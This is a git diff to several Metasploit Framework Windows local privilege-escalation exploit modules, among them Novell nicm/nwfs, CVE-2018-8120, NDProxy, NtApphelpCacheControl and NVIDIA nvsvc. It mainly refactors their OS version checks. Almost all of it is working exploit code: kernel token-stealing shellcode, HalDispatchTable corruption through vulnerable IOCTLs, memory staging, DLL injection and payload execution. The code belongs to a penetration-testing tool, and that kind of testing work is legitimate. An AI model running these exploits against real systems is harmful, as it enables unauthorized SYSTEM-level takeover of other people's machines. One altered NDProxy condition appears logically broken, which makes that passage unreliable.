framework.payloads.create(@payload_name).arch if check == Exploit::CheckCode::Safe - fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege') + fail_with(Failure::NoAccess, 'User does not have SeImpersonate or SeAssignPrimaryToken Privilege, or OS not exploitable') end if @payload_arch.first == ARCH_X64 dll_file_name = 'juicypotato.x64.dll' @@ -184,7 +167,7 @@ def exploit process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") - library_path = ::File.join(Msf::Config.data_directory, "exploits", "juicypotato", dll_file_name) + library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'juicypotato', dll_file_name) library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) diff --git a/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb b/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb index 300ce53d50636..b4385f59bb221 100644 --- a/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb +++ b/modules/exploits/windows/local/ms18_8120_win32k_privesc.rb @@ -72,8 +72,9 @@ def assign_target fail_with(Failure::None, 'Session is already elevated') end - if sysinfo['OS'] =~ /XP|NT/i - fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP') + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Server2008_SP2, Msf::WindowsVersion::Server2008_R2_SP1) + fail_with(Failure::Unknown, "The exploit binary does not support #{version.product_name}") end return target unless target.name == 'Automatic' @@ -83,7 +84,7 @@ def assign_target vprint_status('Targeting x64 system') return targets[1] when 'x86' - fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64 + fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == ARCH_X64 vprint_status('Targeting x86 system') return targets[2] end @@ -105,8 +106,9 @@ def check_arch sys_arch = assign_target if sys_arch.name =~ /x86/ return 'CVE-2018-8120x86.exe' - else sys_arch.name =~ /x64/ - return 'CVE-2018-8120x64.exe' + else + sys_arch.name =~ /x64/ + return 'CVE-2018-8120x64.exe' end end @@ -122,7 +124,7 @@ def exploit tempexename = "#{Rex::Text.rand_text_alpha(6..14)}.exe" exe_payload = write_file_to_target(tempexename, exe) - vprint_status("Payload uploaded to temp folder") + vprint_status('Payload uploaded to temp folder') cve_exe = write_file_to_target(rexename, raw) command = "\"#{cve_exe}\" \"#{exe_payload}\"" vprint_status("Location of CVE-2018-8120.exe is: #{cve_exe}") diff --git a/modules/exploits/windows/local/ms_ndproxy.rb b/modules/exploits/windows/local/ms_ndproxy.rb index ac35ae311eae6..14d1e680f45cf 100644 --- a/modules/exploits/windows/local/ms_ndproxy.rb +++ b/modules/exploits/windows/local/ms_ndproxy.rb @@ -67,16 +67,16 @@ module has been tested successfully on Windows XP SP3 and Windows 2003 SP2. In o ] ], 'References' => [ - %w(CVE 2013-5065), - %w(MSB MS14-002), - %w(OSVDB 100368), - %w(BID 63971), - %w(EDB 30014), - %w(URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/), - %w(URL http://technet.microsoft.com/en-us/security/advisory/2914486), - %w(URL http://www.secniu.com/blog/?p=53), - %w(URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html), - %w(URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html) + %w[CVE 2013-5065], + %w[MSB MS14-002], + %w[OSVDB 100368], + %w[BID 63971], + %w[EDB 30014], + %w[URL http://labs.portcullis.co.uk/blog/cve-2013-5065-ndproxy-array-indexing-error-unpatched-vulnerability/], + %w[URL http://technet.microsoft.com/en-us/security/advisory/2914486], + %w[URL http://www.secniu.com/blog/?p=53], + %w[URL http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html], + %w[URL http://blog.spiderlabs.com/2013/12/the-kernel-is-calling-a-zeroday-pointer-cve-2013-5065-ring-ring.html] ], 'DisclosureDate' => '2013-11-27', 'DefaultTarget' => 0, @@ -177,15 +177,11 @@ def check session.railgun.kernel32.CloseHandle(handle) - os = sysinfo['OS'] - case os - when /windows xp.*service pack 3/i + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 || + version.build_number == Msf::WindowsVersion::Server2003_SP2 return Exploit::CheckCode::Appears - when /(2003|\.net server).*service pack 2/i - return Exploit::CheckCode::Appears - when /windows xp/i - return Exploit::CheckCode::Detected - when /(2003|\.net server)/i + elsif version.xp_or_2003? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe @@ -200,14 +196,11 @@ def exploit my_target = nil if target.name =~ /Automatic/ print_status('Detecting the target system...') - os = sysinfo['OS'] - if os =~ /windows xp.*service pack 3/i - my_target = targets[1] - print_status("Running against #{my_target.name}") - elsif (os =~ /2003/) && (os =~ /service pack 2/i) - my_target = targets[2] + version = get_version_info + if version.build_number == Msf::WindowsVersion::XP_SP3 || + (my_target = targets[1]) print_status("Running against #{my_target.name}") - elsif (os =~ /\.net server/i) && (os =~ /service pack 2/i) + elsif version.build_number == Msf::WindowsVersion::Server2003_SP2 my_target = targets[2] print_status("Running against #{my_target.name}") end diff --git a/modules/exploits/windows/local/novell_client_nicm.rb b/modules/exploits/windows/local/novell_client_nicm.rb index 49066e8cc8e2d..7191b523791e7 100644 --- a/modules/exploits/windows/local/novell_client_nicm.rb +++ b/modules/exploits/windows/local/novell_client_nicm.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ # Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows @@ -76,7 +76,7 @@ def initialize(info = {}) def open_device(dev) invalid_handle_value = 0xFFFFFFFF - r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) + r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0) handle = r['return'] @@ -110,19 +110,19 @@ def ring0_shellcode(t) end def allocate_memory(proc, address, length) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not result["BaseAddress"] or result["BaseAddress"].empty? - vprint_error("Failed to allocate memory") + if !(result['BaseAddress']) || result['BaseAddress'].empty? + vprint_error('Failed to allocate memory') return nil end - my_address = result["BaseAddress"].unpack("V")[0] + my_address = result['BaseAddress'].unpack('V')[0] vprint_good("Memory allocated at 0x#{my_address.to_s(16)}") - if not proc.memory.writable?(my_address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(my_address) + vprint_error('Failed to allocate memory') return nil else vprint_good("0x#{my_address.to_s(16)} is now writable") @@ -132,11 +132,11 @@ def allocate_memory(proc, address, length) end def junk(n = 4) - return rand_text_alpha(n).unpack("V").first + return rand_text_alpha(n).unpack('V').first end def check - handle = open_device("\\\\.\\nicm") + handle = open_device('\\\\.\\nicm') if handle.nil? return Exploit::CheckCode::Safe end @@ -146,15 +146,15 @@ def check end def exploit - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] - if os =~ /windows 7/i + print_status('Detecting the target system...') + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && !version.windows_server? my_target = targets[1] print_status("Running against #{my_target.name}") end @@ -163,26 +163,26 @@ def exploit end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\nicm") + print_status('Checking device...') + handle = open_device('\\\\.\\nicm') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\nicm device not found") + fail_with(Failure::NoTarget, '\\\\.\\nicm device not found') else - print_good("\\\\.\\nicm found!") + print_good('\\\\.\\nicm found!') end this_proc = session.sys.process.open - print_status("Storing the Kernel stager on memory...") + print_status('Storing the Kernel stager on memory...') stager_address = 0x0d0d0000 stager_address = allocate_memory(this_proc, stager_address, 0x1000) - if stager_address.nil? or stager_address == 0 + if stager_address.nil? || (stager_address == 0) session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to allocate memory") + fail_with(Failure::Unknown, 'Failed to allocate memory') end # eax => &kernel_stager @@ -203,7 +203,7 @@ def exploit junk, junk, stager_address + 0x28 # stager_address + 0x24 - ].pack("V*") + ].pack('V*') kernel_stager << ring0_shellcode(my_target) @@ -211,34 +211,34 @@ def exploit if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to write contents to memory") + fail_with(Failure::Unknown, 'Failed to write contents to memory') else vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}") end - print_status("Triggering the vulnerability to execute the Kernel Handler") + print_status('Triggering the vulnerability to execute the Kernel Handler') magic_ioctl = 0x143B6B # Vulnerable IOCTL ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0) session.railgun.kernel32.CloseHandle(handle) - if ioctl["GetLastError"] != 0 - print_error("Something wrong while triggering the vulnerability, anyway checking privileges...") + if ioctl['GetLastError'] != 0 + print_error('Something wrong while triggering the vulnerability, anyway checking privileges...') end - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - if not is_system? + if !is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else - print_good("Exploitation successful!") + print_good('Exploitation successful!') end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/novell_client_nwfs.rb b/modules/exploits/windows/local/novell_client_nwfs.rb index 46638bfb3effc..2bca99dbac9dd 100644 --- a/modules/exploits/windows/local/novell_client_nwfs.rb +++ b/modules/exploits/windows/local/novell_client_nwfs.rb @@ -32,7 +32,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ # Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4 @@ -72,7 +72,7 @@ def initialize(info = {}) def open_device(dev) invalid_handle_value = 0xFFFFFFFF - r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0) + r = session.railgun.kernel32.CreateFileA(dev, 'GENERIC_READ', 0x3, nil, 'OPEN_EXISTING', 'FILE_ATTRIBUTE_READONLY', 0) handle = r['return'] @@ -90,7 +90,7 @@ def find_sys_base(drvname) addresses.each do |address| results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48) current_drvname = results['lpBaseName'][0..results['return'] - 1] - if drvname == nil + if drvname.nil? if current_drvname.downcase.include?('krnl') return [address, current_drvname] end @@ -104,8 +104,8 @@ def find_sys_base(drvname) def ring0_shellcode(t) restore_ptrs = "\x31\xc0" # xor eax, eax - restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation - restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax + restore_ptrs << "\xb8" + [ @addresses['HaliQuerySystemInfo'] ].pack('V') # mov eax, offset hal!HaliQuerySystemInformation + restore_ptrs << "\xa3" + [ @addresses['halDispatchTable'] + 4 ].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax tokenstealing = "\x52" # push edx # Save edx on the stack tokenstealing << "\x53" # push ebx # Save ebx on the stack @@ -130,10 +130,10 @@ def ring0_shellcode(t) end def fill_memory(proc, address, length, content) - result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") + session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE') - if not proc.memory.writable?(address) - vprint_error("Failed to allocate memory") + if !proc.memory.writable?(address) + vprint_error('Failed to allocate memory') return nil else vprint_good("#{address} is now writable") @@ -142,7 +142,7 @@ def fill_memory(proc, address, length, content) result = proc.memory.write(address, content) if result.nil? - vprint_error("Failed to write contents to memory") + vprint_error('Failed to write contents to memory') return nil else vprint_good("Contents successfully written to 0x#{address.to_s(16)}") @@ -154,62 +154,62 @@ def fill_memory(proc, address, length, content) def disclose_addresses(t) addresses = {} - vprint_status("Getting the Kernel module name...") + vprint_status('Getting the Kernel module name...') kernel_info = find_sys_base(nil) if kernel_info.nil? - vprint_error("Failed to disclose the Kernel module name") + vprint_error('Failed to disclose the Kernel module name') return nil end vprint_good("Kernel module found: #{kernel_info[1]}") - vprint_status("Getting a Kernel handle...") + vprint_status('Getting a Kernel handle...') kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1) kernel32_handle = kernel32_handle['return'] if kernel32_handle == 0 - vprint_error("Failed to get a Kernel handle") + vprint_error('Failed to get a Kernel handle') return nil end - vprint_good("Kernel handle acquired") + vprint_good('Kernel handle acquired') - vprint_status("Disclosing the HalDispatchTable...") - hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable") + vprint_status('Disclosing the HalDispatchTable...') + hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, 'HalDispatchTable') hal_dispatch_table = hal_dispatch_table['return'] if hal_dispatch_table == 0 - vprint_error("Failed to disclose the HalDispatchTable") + vprint_error('Failed to disclose the HalDispatchTable') return nil end hal_dispatch_table -= kernel32_handle hal_dispatch_table += kernel_info[0] - addresses["halDispatchTable"] = hal_dispatch_table - vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}") + addresses['halDispatchTable'] = hal_dispatch_table + vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") - vprint_status("Getting the hal.dll Base Address...") - hal_info = find_sys_base("hal.dll") + vprint_status('Getting the hal.dll Base Address...') + hal_info = find_sys_base('hal.dll') if hal_info.nil? - vprint_error("Failed to disclose hal.dll Base Address") + vprint_error('Failed to disclose hal.dll Base Address') return nil end hal_base = hal_info[0] vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] - addresses["HaliQuerySystemInfo"] = hali_query_system_information + addresses['HaliQuerySystemInfo'] = hali_query_system_information - vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}") + vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") return addresses end def exploit - if sysinfo["Architecture"] == ARCH_X64 - fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported") + if sysinfo['Architecture'] == ARCH_X64 + fail_with(Failure::NoTarget, 'Running against 64-bit systems is not supported') end my_target = nil if target.name =~ /Automatic/ - print_status("Detecting the target system...") - os = sysinfo["OS"] - print_status("#{os.inspect}") - if os =~ /windows xp/i + print_status('Detecting the target system...') + version = get_version_info + print_status(version.product_name.to_s) + if version.build_number == Msf::WindowsVersion::XP_SP3 my_target = targets[1] print_status("Running against #{my_target.name}") end @@ -218,74 +218,74 @@ def exploit end if my_target.nil? - fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually") + fail_with(Failure::NoTarget, 'Remote system not detected as target, select the target manually') end - print_status("Checking device...") - handle = open_device("\\\\.\\nwfs") + print_status('Checking device...') + handle = open_device('\\\\.\\nwfs') if handle.nil? - fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found") + fail_with(Failure::NoTarget, '\\\\.\\nwfs device not found') else - print_good("\\\\.\\nwfs found!") + print_good('\\\\.\\nwfs found!') end - print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...") + print_status('Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...') @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Failed to disclose necessary addresses for exploitation. Aborting.") + fail_with(Failure::Unknown, 'Failed to disclose necessary addresses for exploitation. Aborting.') else - print_good("Addresses successfully disclosed.") + print_good('Addresses successfully disclosed.') end - print_status("Storing the kernel stager on memory...") + print_status('Storing the kernel stager on memory...') this_proc = session.sys.process.open kernel_shell = ring0_shellcode(my_target) kernel_shell_address = 0x1000 result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") + fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory') else print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") end - print_status("Storing the trampoline to the kernel stager on memory...") + print_status('Storing the trampoline to the kernel stager on memory...') trampoline = "\x90" * 0x20 # nops trampoline << "\x68" # push opcode - trampoline << [0x1000].pack("V") # address to push + trampoline << [0x1000].pack('V') # address to push trampoline << "\xc3" # ret trampoline_addr = 0x3 result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline) if result.nil? session.railgun.kernel32.CloseHandle(handle) - fail_with(Failure::Unknown, "Error while storing trampoline on memory") + fail_with(Failure::Unknown, 'Error while storing trampoline on memory') else print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}") end - print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") + print_status('Triggering the vulnerability, corrupting the HalDispatchTable...') magic_ioctl = 0x1438BB - ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0) + session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses['halDispatchTable'] + 0x4, 0x10, 0, 0) session.railgun.kernel32.CloseHandle(handle) - print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") - result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) + print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...') + session.railgun.ntdll.NtQueryIntervalProfile(1337, 4) - print_status("Checking privileges after exploitation...") + print_status('Checking privileges after exploitation...') - if not is_system? + if !is_system? fail_with(Failure::Unknown, "The exploitation wasn't successful") else - print_good("Exploitation successful!") + print_good('Exploitation successful!') end p = payload.encoded - print_status("Injecting #{p.length.to_s} bytes to memory and executing it...") + print_status("Injecting #{p.length} bytes to memory and executing it...") if execute_shellcode(p) - print_good("Enjoy") + print_good('Enjoy') else - fail_with(Failure::Unknown, "Error while executing the payload") + fail_with(Failure::Unknown, 'Error while executing the payload') end end end diff --git a/modules/exploits/windows/local/ntapphelpcachecontrol.rb b/modules/exploits/windows/local/ntapphelpcachecontrol.rb index 5120ea2c54fed..a2e41656c0fba 100644 --- a/modules/exploits/windows/local/ntapphelpcachecontrol.rb +++ b/modules/exploits/windows/local/ntapphelpcachecontrol.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking @@ -13,64 +12,64 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection - def initialize(info={}) - super(update_info(info, { - 'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check', - 'Description' => %q{ - On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) - allows application compatibility data to be cached for quick reuse when new processes are - created. A normal user can query the cache but cannot add new cached entries as the - operation is restricted to administrators. This is checked in the function - AhcVerifyAdminContext. - - This function has a vulnerability where it doesn't correctly check the impersonation token - of the caller to determine if the user is an administrator. It reads the caller's - impersonation token using PsReferenceImpersonationToken and then does a comparison between - the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level - of the token so it's possible to get an identify token on your thread from a local system - process and bypass this check. - - This module currently only affects Windows 8 and Windows 8.1, and requires access to - C:\Windows\System\ComputerDefaults.exe (although this can be improved). - }, - 'License' => MSF_LICENSE, + def initialize(info = {}) + super( + update_info( + info, + { + 'Name' => 'MS15-001 Microsoft Windows NtApphelpCacheControl Improper Authorization Check', + 'Description' => %q{ + On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) + allows application compatibility data to be cached for quick reuse when new processes are + created. A normal user can query the cache but cannot add new cached entries as the + operation is restricted to administrators. This is checked in the function + AhcVerifyAdminContext. + + This function has a vulnerability where it doesn't correctly check the impersonation token + of the caller to determine if the user is an administrator. It reads the caller's + impersonation token using PsReferenceImpersonationToken and then does a comparison between + the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level + of the token so it's possible to get an identify token on your thread from a local system + process and bypass this check. + + This module currently only affects Windows 8 and Windows 8.1, and requires access to + C:\Windows\System\ComputerDefaults.exe (although this can be improved). + }, + 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [], 'SideEffects' => [], 'Reliability' => [] }, - 'Author' => - [ - 'James Forshaw', - 'sinn3r' - ], - 'Platform' => 'win', - 'SessionTypes' => [ 'meterpreter' ], - 'Arch' => [ARCH_X86, ARCH_X64], - 'DefaultOptions' => - { - 'EXITFUNC' => 'thread', - }, - 'Targets' => - [ - [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] - ], - 'DefaultTarget' => 0, - 'Payload' => - { - 'Space' => 4096, - 'DisableNops' => true - }, - 'References' => - [ - [ 'MSB', 'MS15-001' ], - [ 'CVE', '2015-0002' ], + 'Author' => [ + 'James Forshaw', + 'sinn3r' + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'meterpreter' ], + 'Arch' => [ARCH_X86, ARCH_X64], + 'DefaultOptions' => { + 'EXITFUNC' => 'thread' + }, + 'Targets' => [ + [ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ] + ], + 'DefaultTarget' => 0, + 'Payload' => { + 'Space' => 4096, + 'DisableNops' => true + }, + 'References' => [ + [ 'MSB', 'MS15-001' ], + [ 'CVE', '2015-0002' ], [ 'OSVDB', '116497' ], - [ 'EDB', '35661' ], - [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] - ], - 'DisclosureDate' => '2014-09-30' - })) + [ 'EDB', '35661' ], + [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118'] + ], + 'DisclosureDate' => '2014-09-30' + } + ) + ) end def temp @@ -82,7 +81,7 @@ def payload_filepath end def upload_payload_dll(payload_filepath) - payload = generate_payload_dll({:dll_exitprocess => true}) + payload = generate_payload_dll({ dll_exitprocess: true }) begin write_file(payload_filepath, payload) rescue Rex::Post::Meterpreter::RequestError => e @@ -96,12 +95,13 @@ def upload_payload # Upload the payload upload_payload_dll(payload_filepath) if !file?(payload_filepath) - fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.") + fail_with(Failure::Unknown, 'Failed to save the payload DLL, or got removed. No idea why.') end end def check - if sysinfo['OS'] =~ /Windows 8/ + version = get_version_info + if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win81) return Exploit::CheckCode::Detected end @@ -110,21 +110,21 @@ def check def exploit if session.arch != ARCH_X86 - print_error("Sorry, this module currently only allows x86/win32 sessions.") - print_error("You will have to get a x86/win32 session first, and then you can") + print_error('Sorry, this module currently only allows x86/win32 sessions.') + print_error('You will have to get a x86/win32 session first, and then you can') print_error("select a x64 payload as this exploit's payload.") return end - print_status("Uploading the payload DLL") + print_status('Uploading the payload DLL') upload_payload - print_status("Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...") + print_status('Injecting the exploit DLL and instructing to run the payload DLL upon successful exploitation...') lib_file_path = ::File.join( - Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll' + Msf::Config.data_directory, 'exploits', 'ntapphelpcachecontrol', 'exploit.dll' ) execute_dll(lib_file_path, payload_filepath) - print_status("You should now have an elevated session, enjoy!") + print_status('You should now have an elevated session, enjoy!') end end diff --git a/modules/exploits/windows/local/ntusermndragover.rb b/modules/exploits/windows/local/ntusermndragover.rb index c3702fb44e943..5a03cb1222066 100644 --- a/modules/exploits/windows/local/ntusermndragover.rb +++ b/modules/exploits/windows/local/ntusermndragover.rb @@ -62,17 +62,16 @@ def initialize(info = {}) end def check - sysinfo_value = sysinfo['OS'] - - if sysinfo_value !~ /windows/i + if session.platform != 'windows' # Non-Windows systems are definitely not affected. return CheckCode::Safe end - build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i - vprint_status("Windows Build Number = #{build_num}") + version = get_version_info + + vprint_status("OS version: #{version}") # see https://docs.microsoft.com/en-us/windows/release-information/ - unless sysinfo_value =~ /7/ && (build_num >= 7600 && build_num <= 7601) + unless version.build_number.between?(Msf::WindowsVersion::Win7_SP0, Msf::WindowsVersion::Win7_SP1) && version.workstation? print_error('The exploit only supports Windows 7 versions 7600 and 7601') return CheckCode::Safe end diff --git a/modules/exploits/windows/local/nvidia_nvsvc.rb b/modules/exploits/windows/local/nvidia_nvsvc.rb index f8ed99c92861f..ca32767bc196e 100644 --- a/modules/exploits/windows/local/nvidia_nvsvc.rb +++ b/modules/exploits/windows/local/nvidia_nvsvc.rb @@ -36,7 +36,7 @@ def initialize(info = {}) 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Targets' => [ [ 'Windows x64', {} ] @@ -72,28 +72,25 @@ def check '3341d2c91989bc87c3c0baa97c27253b' ] - os = sysinfo["OS"] - if os =~ /windows/i + if session.platform == 'windows' svc = service_info 'nvsvc' - if svc and svc[:display] =~ /NVIDIA/i + if svc && svc[:display] =~ (/NVIDIA/i) vprint_good("Found service '#{svc[:display]}'") begin if is_running? - vprint_good("Service is running") + vprint_good('Service is running') else - vprint_error("Service is not running!") + vprint_error('Service is not running!') end - rescue RuntimeError => e - vprint_error("Unable to retrieve service status") + rescue RuntimeError + vprint_error('Unable to retrieve service status') return Exploit::CheckCode::Unknown end + path = svc[:path].gsub('"', '').strip if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 - path = svc[:path].gsub('"', '').strip - path.gsub!("system32", "sysnative") - else - path = svc[:path].gsub('"', '').strip + path.gsub!('system32', 'sysnative') end begin @@ -117,13 +114,11 @@ def check end def is_running? - begin - status = service_status('nvsvc') - return (status and status[:state] == 4) - rescue RuntimeError => e - print_error("Unable to retrieve service status") - return false - end + status = service_status('nvsvc') + return (status and status[:state] == 4) + rescue RuntimeError + print_error('Unable to retrieve service status') + return false end def exploit @@ -132,22 +127,22 @@ def exploit end unless check == Exploit::CheckCode::Vulnerable - fail_with(Failure::NotVulnerable, "Exploit not available on this system.") + fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end - print_status("Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...") + print_status('Launching a process to host the exploit and reflectively injecting and executing the exploit DLL...') # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. library_path = ::File.join(Msf::Config.data_directory, - "exploits", - "CVE-2013-0109", - "nvidia_nvsvc.x86.dll") + 'exploits', + 'CVE-2013-0109', + 'nvidia_nvsvc.x86.dll') encoded_payload = payload.encoded # Forceably run the a 32-bit process because our payload is 32-bit even though # we're running on x64. execute_dll(library_path, encoded_payload) - print_good("Exploit finished, wait for (hopefully privileged) payload execution to complete.") + print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end diff --git a/modules/exploits/windows/local/panda_psevents.rb b/modules/exploits/windows/local/panda_psevents.rb index cac2b4639f36c..df2c03a4b28c2 100644 --- a/modules/exploits/windows/local/panda_psevents.rb +++ b/modules/exploits/windows/local/panda_psevents.rb @@ -3,97 +3,102 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Exploit::EXE include Exploit::FileDropper include Post::File + include Msf::Post::Windows::Version - def initialize(info={}) - super( update_info( info, - 'Name' => 'Panda Security PSEvents Privilege Escalation', - 'Description' => %q{ - PSEvents.exe within several Panda Security products runs hourly with SYSTEM privileges. - When run, it checks a user writable folder for certain DLL files, and if any are found - they are automatically run. - Vulnerable Products: - Panda Global Protection 2016 (<=16.1.2) - Panda Antivirus Pro 2016 (<=16.1.2) - Panda Small Business Protection (<=16.1.2) - 